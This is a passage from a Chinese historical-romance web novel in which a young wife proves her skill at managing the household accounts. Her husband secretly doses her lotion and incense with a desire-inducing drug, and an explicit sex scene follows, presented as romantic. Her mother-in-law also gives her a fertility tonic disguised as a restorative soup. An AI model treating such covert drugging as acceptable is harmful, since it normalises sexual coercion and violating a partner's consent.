太尉之女姚小姐上门是沈太太接待的,她并不清楚都说了些什么。有关于祝家的事情,昨日沈景湛说交给他处理,叫她放心就是了,她也不知道结果。 不仅仅是昨日,前些时朱夫人找上门的时候,沈景湛也是这么说的。 所以,到底是怎么处理了? 朱夫人再没有上祝家的门,转而去找沈景湛,依着上一次沈景湛给朱夫人的好面子,以及他叫的那一声岳母,只恐怕 祝吟鸾甚至开始疑心,沈景湛有可能答应了祝大人的要求了。 但她还在等着沈景湛的后话,并没有贸贸然开口打断他。 “这些时日会有人陆陆续续上沈家门来拜见,鸾儿应对之时要小心些。” 祝吟鸾懂了,蠢蠢欲动的人自然是想要走沈景湛的路子,能够得圣上青眼,好能封官进爵。 毕竟沈景湛眼前可是御前第一红人。 思及此,她大概能够猜出来沈将军找沈景湛是为着什么,约莫也跟这事有关系吧。 “嗯。”她点头,“我知道了。” “我若不在家时,祖母和母亲都会帮着鸾儿,别担心。” 事情关乎沈家基业,沈老太太和沈夫人就算是不喜欢她,也会帮着她,祝吟鸾清楚这一层面。 “好。”她点头,样子看起来很乖。 沈景湛见状,忍不住勾唇笑了一下,原想伸手捏她的脸,又怕影响了她的专注,惹她心里怀疑。 祝吟鸾还在想着事情,不防他忽而笑,问他怎么了? “没事。” “只是觉得鸾儿可爱。”男人直言道。 祝吟鸾,“……” 他怎么又说这个? 言及此,她想起饭桌上他问的话,便顺口提了一下,叫他日后当着人不要问这些。 “庭院当中伺候的人都是心腹,鸾儿不必担心会有人乱嚼舌根。” 她哪里是担心有人乱嚼舌根?她是害羞。 “我……我是觉得不好。” “可我想关怀鸾儿。”沈景湛轻声道。 男人声音温柔缱绻,顺着习习晚风送到她的耳朵里,微痒。 她怎么觉得他不像是在做戏? 这里没有旁人。 实在不必如此的。 长此下去,不分人前人后,她自己都要分不清了。 沈景湛入戏其中,就不怕演戏演久了,面具戴在脸上再也摘不下来吗? 可她没有说,总觉得说出来了,两人之间都尴尬。 她不想打破眼前的宁静祥和,只在心里默默提醒自己,都是演戏,万万不能够沉溺其中,受沈景湛的“男色”所迷,她和他之间是不能有爱的。 她不想再将爱.交.寄托付出去了,那四年的寥落,孤寂和失意,她再也不想体会第二次。 倘若真被沈景湛所迷醉,那真的是万劫不复了。 “好吧,随你。”良久之后,祝吟鸾给了他这样一句话。 听着她“顺话而为”的语调,沈景湛眸中有一丝暗意闪过。 两人又说了一会话,才折返。 今日让祝吟鸾意外的是,沈老太太和沈夫人没有派老妈妈过来。 没人来,沈景湛自然没有碰她了。 他嘱咐她好生休息,给她掖了掖被褥,但没有再过分碰她。 今夜的寂静与昨日的热情形成了鲜明的对比,却也叫祝吟鸾安心下来,因为一切合该是这样。 翌日,沈景湛陪着她用早膳,又要进宫去了。 殿试泄题案还没有彻底处理完,不过就是捋清了头绪,暂没有前半月忙碌了而已。 临出门时,沈景湛嘱咐她在家多多休息,若觉得闷了,也可以寻小丫鬟们打牌玩乐,亦或者让戏班子上门给她唱戏。 沈家有戏园子,往前沈老太太就喜欢看,现如今几个姨娘常用,沈景湛带着她去转过,比她去过的戏班子的梨园都要大。 但这不是主要的,祝吟鸾觉得奇怪的是,“你怎么知道我爱听戏?” 这件事情很少有人知晓。 再者说,她这个年岁的小妇人通常是不怎么听戏的,沈景湛怎么忽然就提起找戏班子了。 男人面色平静,甚至笑,“鸾儿又忘记了,我寻你身边的人 问过你的喜好,所以知晓,也一直记得。” 的确是有这么一回事。 是上一次她发现沈景湛对她用菜喜恶的口味问过。 他那时候便跟她解释过。 “原来如此。”祝吟鸾颔首。 已经知晓了情由,她却觉得怪怪的。 沈景湛对她的了解好似……到了一种了如指掌的地步。 这是错觉吧。 沈景湛应当是过目不忘,记忆力出众,所以才十分淡然吧。 “……” 祝吟鸾送了沈景湛出去。 折返之时小丫鬟来传话,说沈夫人找她。 到正厅之后,看到桌上摞起来的账目,以及账房先生和管事的婆子们,祝吟鸾便知道沈夫人找她做什么了。 为了管家的事情。 果不其然,沈夫人先问她身子还好不好?祝吟鸾道好,沈夫人便直接说从今日起让她学着管家的事情。 沈景湛朝廷的事情快要忙完了,沈老太太的身子也渐渐好转,沈夫人自然要要把这件事情提上日程,怕两人离开。 “你会看账吗?”沈夫人问。 “会一些。”祝吟鸾谦虚回,没说她不仅会看账目,还会划账,算账什么的更不在话下,而且速度很快。 可显然沈夫人没有把她说的会一些放在眼里,只当她什么都不会,这样说是周全面子而已。 朱夫人市侩,根本不看重祝吟鸾,怎么可能会教她看账管事?更何况,她被卫家休弃恐怕不只是祝家的挤兑。 手把手从头教起,沈夫人是没耐心的。 谁知道祝吟鸾底子怎么样?说不定连字都不识。 说到字…… 沈夫人连忙又问她识不识字? “识得的。” 问完之后,沈夫人又觉得问多余了。这些时日祝吟鸾一直在韵梅堂那边帮着沈老太太抄了好久的佛经,怎么可能不识字? “识得就好。” 她指了一个管事的婆子先教祝吟鸾怎么看账目,说让她看会了再说。 祝吟鸾没有迕逆,听从沈夫人的安排,跟着管事的婆子,听着对方教她看账,就当是再次温习一遍看账的知识,查缺补漏了。 不得不说,大户人家的婆子的确是有两把刷子的。 教她看账的方法,是她经过无数次摸索自己总结出来的快速方法。 沈夫人偶尔朝祝吟鸾看去一两眼,发现她学得很认真,看起来倒像是那么一回事,也不知到底会不会。 午膳自然是在这边跟这个沈夫人用的。 期间,沈夫人道再过两日,沈景湛的妹妹沈蔻玉便要抵京了。 之所以要清点家中账目,一来要给小丫鬟们发放月钱,二来也是要筹备她的婚宴。 “婆母已经选好了人吗?”祝吟鸾问了一句。 “还不曾,青年才俊的册子倒是拟好了,回头我拿给你,你带回去让听澜这个做哥哥的也帮忙掌掌眼。” “是。”祝吟鸾点头。 没吃两口,沈夫人又问起二房沈嘉显调令的事情。 祝吟鸾正纳闷沈夫人怎么也知道?但转念想到都是沈家事,沈夫人知道了追问也不足为奇,毕竟沈夫人和二房夫人的关系还不错。 她回想着沈景湛告诉她的话,一字不漏地说了。 沈夫人听罢多瞧了她一眼。 沈景湛历来不会在家中提及朝廷的事情,沈老太太都难以从他的口中问到消息。 只有沈侯爷能问他,没想到祝吟鸾去问,他就说了?这简直没有丝毫的避忌,原还以为祝吟鸾套不到什么消息呢。 祝吟鸾不明所以沈夫人看她做什么,却没有问。 自然她也就不知道沈夫人在想什么。 用过午膳,为着方才的事情,沈夫人不只是让祝吟鸾单纯看账了,有意把她带到身边,还给她分了一些活,让祝吟鸾实践上手,比对着账本合计侯府本月的采买花销。 不放心祝吟鸾一个人,又多分了两个婆子在旁边盯着,怕出乱子。 沈夫人没想到,她这边库房的分账都没有做好,递给祝吟鸾的账目她已经合计完了。 起初她察觉到祝吟鸾不动,还以为她遇到了什么难处,刚要问,旁边的婆子已经说祝吟鸾算好了。 “算好了?”沈夫人意外。 “是。”婆子们点头,甚至没有帮忙帮上半点忙。 沈夫人惊讶,并不相信。 她把账本给接过去,发现祝吟鸾把账目核对得十分准确清晰,遗漏错处的地方她都勾出来了。 这账本有些勾勒出来的细微之处,沈夫人自问,她要是一目十行都未必能够看出来问题。 祝吟鸾竟然看出来了,还是在那么短的时间内,她只花了小半炷香。 不仅仅是账目做得好,她的字也写得整洁娟秀,完全不输给她的女儿沈蔻玉。 若说祝吟鸾聪慧,能够在这么短的时日内学会看账快速上手,那她的笔墨绝对是下功夫练过的。 这练字最是考验人,耐性,定力,感悟,缺一不可。 沈夫人又看了一眼账目。 压下心里的惊叹,面不改色嗯了一声,重新给祝吟鸾分了剩下的账目。 这一次,她亲自看着祝吟鸾对账,想要看看她有没有假手于人?或许是旁边的婆子指点呢——但沈夫人也很清楚,基本上不可能。 在她的注视之下,祝吟鸾面不改色投入算账当中。 被人这么盯着,她也能够丝毫不受干扰,很快就核对好了账目,所用的时辰比刚刚还要短。 沈夫人接过去查验,一如方才,没有丝毫的错漏。 若说刚刚给予祝吟鸾的重视是因为沈景湛,此刻她多看祝吟鸾两眼,全是因为祝吟鸾自身的本事。 “你的账目做得那么好,方才怎么才跟我说会一些?”沈夫人问。 祝吟鸾道,“这都是婆母适才派人教了媳妇的功劳。” 她倒是会说话,谦逊得很呐。 也是,能这么快就入了沈老太太的眼睛,就不该轻视她。 接下来的时日,沈夫人带着祝吟鸾一道做账。 没想到,沈夫人昨日预想的祝吟鸾拖她后腿的事情完全没有发生。 在祝吟鸾的帮助之下,她今日甚至空了不少闲。 祝家女不仅仅会看账,算账,划账,她似乎……还很擅长观察,懂得怎么用人。 跟这些账房先生,管事婆子们共事一个中午而已,她便能够快速记下谁是做什么的,谁的记性好,谁算账快,谁点账可以,优点记得,短缺也不曾遗漏。 这是一把好手啊。 在最后收尾的一个田庄铺子里,沈夫人有意用这笔烂账考究她。 给她看了田庄的账目,让她算了账之后,才问她田庄哪些人该换,哪些人要留下? 她酌情思考一二,提了一些人,换了一些人。 沈夫人问她为何要这样变动? 指着田庄没有被换掉反而提拔起来的二管事,“这人近几年总贪利钱,你竟然觉得这样的人可用?” “婆母,媳妇说句大不敬的话,掌事用人不该过于严苛钻利,有些时候合该睁只眼闭只眼,媳妇看了这个管事的身契,他在沈家田庄上干几十年了,前几年都很老实本分。” “因为顶上庄头大管事压着,几年不给人涨薪,反而克扣,他贪利想来也是为了添补家中,更何况这利钱并没有贪多,这是一笔可以放失的小数目。” 祝吟鸾再指了指这二管事儿子的身契,也是沈家的人,册子上写着他前些年上树摘果摔伤了腿,至今没做活了。 这二管事开始贪利钱的那一年,正巧是他儿子摔断腿的年份。 沈夫人意外于她的细心,查人贪利之时,还能特查原因。 不仅仅是沈夫人,就连旁边的管事婆子们都惊于祝吟鸾思虑的层面。 “那边的庄子离京太远了,再派新的人过去一时之间也难以完全接管下来,不如严惩了大管事,提二管事,拨可用的人放到二管事的底下做事,顺势跟查庄子各处,也考究考究这管事的品性,若这二管事聪明能够领悟沈家恩情,他必知悔改,若不能,再不收敛,可派考究的人接手他的位置。” “如此……也能够安人心了。” 祝吟鸾说完许久,沈夫人看了她好一会,“……就依你所说的办,我且看几月,能不能成行。” “是。”祝吟鸾颔首。 这一日跟祝吟鸾接触下来,沈夫人无比意外。 夜里沈景湛和沈侯爷归家,祝吟鸾还在沈夫人这边,众人也就聚到这边用膳。 用过晚膳,沈侯爷跟沈景湛还有公务要商讨。 祝吟鸾跟着沈夫人去探沈老太太,主要也是为了沈蔻玉的婚事。 沈老太太翻着看了看,说册子上的青年才俊都不错,但要看看沈蔻玉的意思,又问她到什么地方了? 沈夫人说已经过泾河了,“后日应当就到了。” “小半年没见这丫头了,也不知她是瘦还是胖。” “母亲惦记着,玉儿自然好的。” 沈老太太笑了一下。 祝吟鸾在身边静静听着两人说话,心里盘算着初见沈景湛的妹妹,得备什么见面礼赠她? 先前在施家的时候,听施从苑和施从薇说过,沈景湛的妹妹性子大方爽朗,并不矫揉造作。 这般的人品,见面礼恐怕不怎么好挑。 她拿不定主意,寻思着不如夜里问问沈景湛好了。 他的亲妹妹,他肯定清楚对方的喜好。 没坐一会,沈夫人便要先走了,祝吟鸾留下给沈老太太揉捏额头与臂膀。 前些时日祝吟鸾叫姣惠拿从前给庞氏用过的方子,找那巷子的郎中配了一瓶静神膏。 涂抹额头上再按,效果显著,沈老太太这些时日精神都好了,夜里睡得十分踏实,老妈妈说,沈老太太甚至还拔鼾呢。 “……” 沈夫人回去之时,没在书房见到沈景湛还以为他回去了。 便跟沈侯爷说起今日叫祝吟鸾看账算账的事情。 “这么厉害啊?” 沈侯爷也意外,目光往堆满书册的博古架那边投了一眼。 沈夫人没发觉他的目光,还在说,语气带着惊叹,以及不曾在人前展露的赞许, “实在是出乎我的意料,没想到这祝家女账算得又快又准,字也写得好,比底下几个媳妇都强,甚至越过玉儿了,更重要的是,她分明厉害,却不自傲,样子态度都极其谦逊,还知道怎么掌事用人,今儿那庄子……” 沈夫人噼里啪啦说了一大堆,沈侯爷也跟着意外挑眉点头。 “先前是我狭隘了,因为出身不高看她低了一些,以为她空长一张俏脸迷惑了听澜,实则并不中用…”沈夫人唉声叹道,她还是第一次看走眼。 沈侯爷笑,越过沈夫人往后道, “听澜可听清楚了?你母亲对你这媳妇很是满意啊。” 沈夫人随之往后看去。 旁边颀长落拓的清俊身影,不是她那出色的嫡长子还能是谁? 他居然没走。 修长如玉的手里拿着一本策论,俊美的脸上挂着少见的淡淡得意。 “母亲赞誉,儿子早就说过了,美貌不过是她最不值得一提的优点罢了。” 沈夫人,“……” 第52章 第52章助孕的汤药。 祝吟鸾等沈老太太彻底歇了之后才离开。 她刚出正厅便见到伫立在韵梅堂之下的身影。 沈景湛,他不知何时过来的,似乎等很久了。 忙完了不先回去,还要过来接她。 祝吟鸾瞧见他的一瞬间,他也随之看过来。 两人的视线遥遥相会。 男人的眼眸深而幽暗,祝吟鸾被他这么看着,没一会就觉得极其不自然了,便垂下了眼睛。 视线落到男人挺拔颀长的身姿上,祝吟鸾又一次在心里感叹他的出众。 面容俊逸,身骨宽肩窄腰,性子体贴温柔,又有滔天的权柄,沈景湛这样的人,会有什么缺点吗? 没有,他完美无缺,叫人挑不出一丝不好来。 祝吟鸾都不知道她怎么会遇到这样的人? 她之前跟沈景湛丝毫没有交集,非要扯什么交集,便是她总觉得沈景湛似曾相识。 方才她看着他的身影,也觉得好像以前就看过,见过一般,但找不到具体在哪看过在哪见过,所以她也没有过多在意这股诡异的熟悉感。 无法在过往找到她怎么会遇到沈景湛这样好人的缘由。 祝吟鸾甚至开始觉得莫不是上天看她前半生过得太坎坷苦涩,终于想起善待她了吗?让她遇到沈景湛,入沈家门。 她走得不急不缓,在门口等着的男人却等不及了,他走过来接她。 还是问她累不累? 祝吟鸾摇头,“不累。” “若是太累,可以将这些事情教给下人去做,我将鸾儿娶回来,不是让你到沈家吃苦的。” 男人的语调很是认真温柔。 前半句还好,后半句实在是让祝吟鸾意外。 他这样说的意图,是为了演戏? 但未免也太情真意切了。 这与他当初将她娶回来搪塞家中的情由并不一样。 她讨好了他的家里人,婆媳关系好了,对他不也有益处吗? 祝吟鸾对上男人温柔的眉眼,不止是面上不自然,就连心里都颤了一下,她攥紧手,错开他的视线,步履加快了一些。 沈景湛看着她匆匆撇开的侧脸,唇边浮起一抹笑,抬脚跟上她。 尽管祝吟鸾加快了步伐,可架不住沈景湛人高腿长,他微微迈步,便轻而易举跟上她了。 没走一会,沈景湛跟祝吟鸾说他在书房听到的有关沈夫人夸她的事情。 “鸾儿厉害,母亲很少这般赞誉人的。” 祝吟鸾不免羞赧,起初还以为是沈景湛骗她才这样说,但她跟沈景湛也有些时日了,他何曾骗过她?他从不夸虚说谎。 所以她压下这个荒谬的念头,回说没有,“都是因为婆母教导得好。” “母亲说鸾儿谦逊丝毫不会自傲,果然没有说错。” 祝吟鸾,“……”脸更红了。 怕沈景湛又夸,她扯开话茬,问他知不知道过些时日他妹妹即将抵京返家的事情? “嗯。”男人点头。 还是他派人去接的,他怎么会不知道? “我想给小姑选见面礼,但不知她的喜好,不清楚送什么为好,特向夫君取经。” 男人顿了一会,他开口之时,祝吟鸾他会告知她沈蔻玉的喜好。 没想到他道,“鸾儿知道我的喜好吗?” “…啊?”祝吟鸾被人问得愣住。 眼前的男人一本正经思索,却是在想这个? 偏生她还真的答不上来。 对于沈景湛的喜好……他喜欢什么? 他在吃食上似乎也不怎么挑剔,衣衫用料也不指定要什么。 沈景湛贵为世子爷,衣衫用物基本都是最好的,衣衫多到数不清。 他几乎什么样式颜色料子都会穿,人生得好,身量又高大俊逸,已经不是衣衫衬他,而是他衬衣衫了。 认真想了一下,她还真不知道沈景湛喜欢什么。 至于他的厌恶…… 这更挑不出来了,沈景湛温和有礼,体贴入微,没见过他疾言厉色。 非要说的话……祝吟鸾眼界微动,他总怼沈老太太的话,这算吗?这不能算吧。 真要说出去,只怕招笑。 思来想去,实在想不出来,祝吟鸾直接问,“夫君喜欢什么又厌恶什么呢?” 看着眼前姑娘一脸认真求知的模样,沈景湛心里的那点计较都要被她看没了。 往日里,她还说他直接,她不也是很直接吗? “我喜欢……”他只说了前三个字,祝吟鸾一直等着,也的确好奇他喜欢什么? 可沈景湛就是不说了,一直看着她,久久不语。 起初祝吟鸾还一头雾水,可被他看得太久了,她心里冒出一个念头,沈景湛该不会是喜欢她? 这、这怎么可能?! 眼前人从认真到思索再到疑惑中慢慢了悟,神色也变得躲闪讳莫,沈景湛便清楚她反应过来了。 但点到为止,若是继续下去,火候烧得太大了,恐怕会出事。 “我似乎…也不知道自己喜欢什么。”男人来了那么一句。 祝吟鸾忐忑的心总算是稍微放下来了。 原来他看着她并不是那个意思,只是在思索而已。 “至于厌恶……”沈景湛的话说到一半,他又顿了。 这一次他没顿多久,很快就道,“似乎也没有。” 眼底那点幽暗藏得太深了,祝吟鸾就算是留意着,也根本毫无察觉。 “不如,鸾儿替我留意着我的喜厌可好?” “我?”祝吟鸾疑惑。 “嗯,不是都说当局者迷,旁观者清吗?这二十多年我始终不知道自己喜厌究竟为何,若有鸾儿替我看着,说不定很快就知道了呢?” 祝吟鸾想要反问,留意这些做什么?他自己不知道,问跟在他身边伺候的人不就知道了吗? 但沈景湛很少让她做什么事情,况且,这也不算什么事,她便点头了,“好。” “如此,便多谢鸾儿了。” 对于他的答谢,祝吟鸾只是牵唇笑了一下。 “可是夫君还没有说,我该给小姑送些什么为见面礼比较好?” “小妹顽劣,性子跳脱,寻常姑娘家喜欢的东西她都不怎么喜欢。” 闻言,祝吟鸾忍不住嘀咕,果然和她想的差不多。 幸而先问了问沈景湛,若是直接就送了,恐怕对方根本不欢喜,弄巧成拙。 “不如这样吧,我替鸾儿准备,届时鸾儿直接拿了给小妹就是。” “这怎么好?”祝吟鸾不赞同,“总归是我的心意。”怎么能让沈景湛去准备。 “主要是小妹喜欢的东西少见,鸾儿在短时之内不好准备,我让人去办就是了,若是鸾儿觉得不好意思,你可以给我准备些东西,我们交换,如此也不算亏欠了。” “啊?”祝吟鸾又愣了,“我给你准备?” “嗯。” “以此作为交换,如何?”沈景湛笑。 祝吟鸾沉默。 沈景湛的话听起来没什么问题,可她怎么觉得怪怪的? 就好像……就好像是他故意这么说? 是闪神了?否则她怎么有一种钻到对方套子里的感觉? 到头来变成了她给沈景湛准备东西,不应该是给他的小妹吗? “倒也可以…” 说不上哪里奇怪,说话间已经到了院子里,祝吟鸾只能压下追问的念头。 今儿白日里天色还好,沐浴之时,竟然就起风了,隐隐有落雨之势。 更让祝吟鸾意外的是,天色这样不好,眼看着要刮风要下雨,那沈老太太和沈夫人竟然派了人过来听墙角。 “你看清楚了,真的是婆母身边的人?”实在意外,祝吟鸾忍不住追着明芽问了问。 “是啊。”明芽点头,“不止是奴婢看见了,姣惠也看到了,的确是夫人院子里的人。” 祝吟鸾,“……”来得太勤了吧。 昨日没来,今儿又来了,还是顶着这么糟糕的天,风雨无阻的吗? “小姐,您怎么了?”明芽觉得她脸色很不好,“莫不是吹到了风?奴婢去把窗桕给关起来。” 明芽说着话,把香露放到旁边,就去关窗桕了。 祝吟鸾想叫住她说不必,但明芽动作太快。 祝吟鸾收回视线之时,目光停留在打开的香露上。 原只是觉得无聊,想起来看看,可这香露凑到鼻息之下时,她觉得这香露的味道好似在哪闻过…… 哪儿呢? 想不起来,明芽又回来了,祝吟鸾把香露递给她。 “小姐觉得味道香吗?听说是用进贡的香调的,京城有钱都买不到呢。” “是吗?” 进贡的香料她哪里闻过?或许是因为前几日明芽就给她涂抹过了,所以才觉得闻过吧。 “是啊,您这些时日皮肉都光滑细嫩了不少,说明这香露不错,滋肤养肉。” 祝吟鸾没接话,她顺势看过去,明芽给她擦着臂膀,没抹几下,就彻底吸收了,看起来的确不错。 看着看着,祝吟鸾总觉得她身子有些热。 难不成是因为明芽一直给她擦抹着的缘故吗? “好了。”祝吟鸾真的觉得热,抬手让明芽不要擦了,“我想喝水。” “奴婢去给您倒花茶。” 明芽往外走,祝吟鸾视线一直跟着她,看到屏风之外的熏炉。 祝吟鸾瞬间知道这相似的味道从何而来了,是那个炉里的香。 添香的小丫鬟说,近日送来的香跟之前不是同一批,会有一些差别。 这差别很是细微,不过一点而已。祝吟鸾就没计较。 没想到略微差别的这一点点香,竟莫名其妙跟进贡的香露味道撞上了。 明芽很快就把茶水给端了上来,喝了之后祝吟鸾依然觉得热。 她都开始怀疑不是身子骨热,而是紧张,一想到要跟沈景湛圆房,自然也就觉得热了。 因为这一刻,她又开始怀念和沈景湛亲吻的滋味,被沈景湛探入的感觉。 他很会照拂她,一直问她要轻还是要重? 思及此,祝吟鸾忍不住在浴桶当中并拢了腿,就连整个脚趾都忍不住蜷了起来。 “小姐,您到底哪里不舒服啊?”明芽都发觉了她的异常,说她的脸红,整个人摸起来有些烫。 祝吟鸾自然是不敢说什么,“没……你擦快一点。”她催促着,害怕明芽看出异常。 “小姐您可抓把紧,说不定这些时日就怀有身孕了,有了身孕您就在沈家彻底站稳脚跟了啊。” 什么生孩子,什么站稳脚跟。 明芽似乎已经忘记了她身子骨不好,难以受孕的事情,一个劲在那地方说。 早在内室等候的男人看着妆奁台上的香露,听着浴房之内,主仆二人传来的细细碎碎的声音。 他也端着一盏茶在喝,指尖漫不经心点着桌面。 温朗的眼睫抬起来,露出他本来的清冷和危险。 “……” 今日夜里,沈景湛才吻她没多久,祝吟鸾便觉得她好燥热。 她都不清楚自己是怎么了。 觉得他的动作好慢啊,可不可以凶一些对她? 但转念之间,她又觉得奇怪纳闷,她到底是怎么了? 就算是沈景湛的吻技,已经到了出神入化的地步,也不至于才吻了几下,她就受不了,感觉要化成一滩水了吧? 不好直接让沈景湛吻重一些,祝吟鸾开始揽着他的臂膀回吻他。 身下人回应的动作比之前都要明显。 一直在放饵料的猎人自然一清二楚。 他也略微加重回吻她,但对于吸入了一些回幻药的姑娘根本是杯水车薪。 她分不清楚自己身子的渴望是因为沾染了外物,还以为是跟男人行房真的太舒服了,舒服到她迫不及待。 她揽着男人的脖.颈。 在男人吻她侧脸耳垂之际,她也忍不住吻他,两人耳鬓厮磨。 惹人面红心跳的声音断断续续传出去。 在男人一点点“引诱”当中,她不知不觉陷落了,越发回应他,搅入这场荡.漾的春.波里。 她甚至还拉着男人的大掌,放在她心口之上的峰.峦处。 沈景湛眼底划过笑意,面上却不露。 他收拢之时,还暗着声音问她,“鸾儿好受吗?” 她的眼角有泪,他低头为她吻去。 祝吟鸾羞得说不出话,她假装没有听见不回答。 前些时日还需要沈景湛为她亲吻,搅出汪汪春水,这才能在这场春雨腾欢。 眼下沈景湛都还没有这么做。 祝吟鸾却已经感受到了她自己的变化,春雨绵绵,她好像掩盖。 “似乎变了一些。”他在说话。 至于说的什么,已经用手在丈量了 祝吟鸾垂眸见到男人之间泄出来的嫩白皙玉。 他的指骨因为握着春玉 ,显出骨节。 想来也是用力的了。 既然是用力的了,为何她不疼呢?有的也只是酥麻与难耐。 呜…… 她怎么变成了这样? 祝吟鸾感觉她整个人完完全全被情.欲给支配了。 她先前还觉得沈景湛在床榻之上就像是变了一个人,她自己又何尝不是呢? 变成了一个她自己都陌生的人。 “……” 沈景湛低头吻了上去,祝吟鸾扬起细颈,上面已经有了许多密密麻麻的汗珠子,眼角也顺流了不少泪。 与春雨和奏之时,祝吟鸾感受到了莫大的满足。 沈景湛抚顺她脸边的头发,将她整个人给抱起来动作。 祝吟鸾捏着他的臂膀都还没有彻底适应呢,他也还照顾着她的感受,在等着她适应。 但翻身之间,也就是变成了他在身下而已,祝吟鸾犹如孩子一般坐在他的身上。 没想到这样陷落下去,径直撑开了春路。 祝吟鸾长咛了一声,她披散的乌黑长发在盈盈不足一握的腰后晃荡。 极其的漂亮和惹眼,沈景湛往日都能忍,现如今见她如此,护着她腰身的手忍不住攥紧,眉眼之间开始倾露他的底色。 好不容易老狐狸露出了一些尾巴,可此刻的姑娘泪眼朦胧,沉溺在春路被撑开的快意和失控里,根本就没有看到男人的神色。 更何况,她都不敢看他。 她一直都卑微,一直都习惯性垂着眼睛,一直处在低位。 此刻的她居然在上面,居高临下看着这位年纪轻轻的天子近臣。 更重要的是,她不着寸缕。 唯独长发披散,可长发哪里能够做衣?根本遮得不严实。 长发乌黑,露出来的雪肤之上还有他的指痕。 “我要下去……”祝吟鸾的声音很低。 她头一次提了要求。 沈景湛问她不舒坦吗? “不是……” 她只是害羞。 “你放我下来吧…听澜。”她终究还是学不会强势,甚至开始叫着他的表字求人了。 男人伸手抚着她的腰身,“鸾儿不用动好不好?” 祝吟鸾一知半解,他说不动,是要一直这样? 若是这样怎么行? 很快,祝吟鸾就知道男人话里意思为何了。 她深深体会到沈景湛壁垒分明的腰腹之下,隐藏的力量。 她感觉就像是在骑马,但因为她不敌,一直被马颠簸,整个人完完全全不受控制了,只能掐扶着他的臂膀,这才勉强坐稳。 祝吟鸾没想到,她也没有动,沈景湛的好腰力还是让她累到了极致。 结束之时,她垂眸看去,见到了她微微隆起的小腹。 这是他留下的佐证。 “……” 祝吟鸾太累了,整个人瘫软下去,趴在他的胸膛之上,动也动不了。 她还能够感觉到沈景湛的停留。 他怎么还不离开呢? 太累了说不出来话。 过了一会,沈景湛掉转了两人之间的位置。 微微离开了,却又更近一步。 祝吟鸾忍不住又掉了一滴眼泪,“……夫君,你怎么……” 她刚要说话,沈景湛伸手抚去她眼角的泪,吻了吻她的唇瓣,把她的话给堵了回去。 祝吟鸾,“……” 他不是轻吻而离开,而是一直断断续续吻着她,只是吻她的唇瓣,没有太过分吻入。 祝吟鸾感受着他的亲近,眼睫微颤。 沈景湛的存在感实在是太强大了,祝吟鸾不得不感知他停留的时辰。 他怎么可以停留那么久还不离开? 这让她想起来先前为了受孕查看的书册,书上说这样做的话,妇人很容易怀孕。 若不是她的身子骨不行,她和沈景湛恐怕会有孩子的。 沈景湛久久停留的缘由是因为什么? 是还想再来一次吗? 可她体力不支,好累。 想着想着,祝吟鸾就这么被他吻着睡了过去。 她的呼吸平稳了,男人低沉缱绻唤了一声鸾儿。 “…” 次日,天色吐白了,祝吟鸾又睡过了头。 她醒的时候人还有发愣,伸手去触碰旁边,摸到空处,沈景湛不在。 “明芽。”她叫人。 进来的却是姣惠。 “小姐,您醒了。”姣惠小心翼翼扶着她,跟她说明芽被沈老太太叫过去了,说是得了几匹新料子,让她拿过来给祝吟鸾裁衣衫。 这些时日对沈老太太尽心尽力,对方也待她好了些。 “夫君有事去忙了吗?” “对,世子爷一大早便离开了。” 祝吟鸾得到了这个消息却没有再接着问了。 用早膳时,她想着昨日夜里的事情。 想到沈景湛久久的停留,在想要不要找避子汤喝? 但又觉得她这身子不好受孕,应当不用喝。 况且,这到底是在沈家的地界上,谁知道沈夫人沈老太太有没有盯着? 若是为这碗避子汤闹出事情来,那可真是够呛的。 罢了,她的身子骨不好,先前跟卫如琢都没受孕,此刻怎么会有身孕呢? 多虑了。 祝吟鸾压下这个想法。 膳后,她继续去找沈夫人,帮着沈夫人算账。 有了昨日的那件事情,沈夫人对她也融洽许多。 分给她不少重任,比如让她核对账目,算算汝王府先前给沈家的礼,找出数目之后,让她在库房挑选,备办合适的礼送过去,过些时日汝王府要办满月酒。 对面是王亲贵族,送礼可是很贵重的。 祝吟鸾知道沈夫人还在考察她,想要瞧瞧她的人情处事。 她核对礼单非常认真,翻出来之后单独名列,就怕有所遗漏。 甚至又对了对这些时日的行市,在京城当中,物件的价格容易变动,里里外外都要照顾到了,免得被人抓到小辫子。 一刻之后,祝吟鸾刚刚忙完。 她把账目和备办的礼单递给沈夫人。 对方在看,她就在旁边等。 可没想到,旁边的婆子给她端上来一盏汤。 不等她问这是什么? 沈夫人道,“看你身子也不大好,这些时日辛苦了,这是我让人熬的补汤,吃了对身子好,你吃了吧。” 说是补汤,祝吟鸾闻着味道,有些像助孕的汤? 第53章 第53章他围困她,呼吸在静默中纠缠…… 先前在卫家吃了很多种助孕的汤药,有几个月几乎天天在喝。 对于助孕的汤药,祝吟鸾大多有所了解,尤其那个味道…就算是药方子不一样,主味的药材都差不离的。 所以,药味飘过来的一瞬间,她闻了几下就分辨出来了,的的确确是助孕的汤药。 沈夫人催着要孩子,所以才风雨无阻派人去偷听墙角吗? 这件事情恐怕还要跟沈景湛说一下?他是不是也应该相看挑选合适的人了? 一来应付沈夫人和沈老太太,二来……一想到她和沈景湛在床榻之上的契合,总觉得有些心慌,她对他的渴望几乎都要到失控的地步了,这样实在是不好。 晨起的避子汤没有喝上,反而吃了助孕的汤药,祝吟鸾忍不住在心里叹了一口气。 但她也庆幸自己的身子骨不好受孕,这碗助孕汤吃也就吃了。 见祝吟鸾听话,这账目也罗列得不错,她挑选的礼物既不过分张扬,也不跌侯府的份,沈夫人很满意。 心里满意,面上却没有露出来。 有关汝王府的回礼,沈夫人不只是考究祝吟鸾一个人。 长房的媳妇们,她都让递了话,由她们斟酌挑选送汝王府的礼,可挑的礼都没有祝吟鸾的好。 要么太张扬,要么太内敛了。 重要的是她还注意留察了京城物件的价钱变动,上前月流云纱卖得好,人人抢着要,这时月那东西多了,再送反而遭笑。 话说回来,截今为止,除却祝家朱夫人叫她不喜悦之外,祝吟鸾嫁进沈家之后的一言一行都没有叫她烦恼。 这祝家的庶女的确不错。 但……沈夫人心里翻着主意。 说起来祝家,她想起昨日在沈侯爷那边听到的事情。 放下账本,状似不经意问起,“你知不知道听澜给你家中哥哥提了官?” 祝吟鸾愣,“什、什么?” 瞧着她一头雾水,似乎并不清楚的样子。 沈夫人再说了一遍,“听澜把祝鸣生放到了三省的集贤殿做学士,你不清楚?” “我…媳妇不知道啊。”这件事情沈景湛都没有跟她说。 一开始也就是提了一个名,说祝大人去找他办事,想要给祝鸣生谋一个官位,但具体后来有没有做这件事情她根本就不清楚。 “听澜没跟你提?”沈夫人盯着她的神色问。 祝吟鸾一脸凝重摇头,“夫君没有跟我说。” 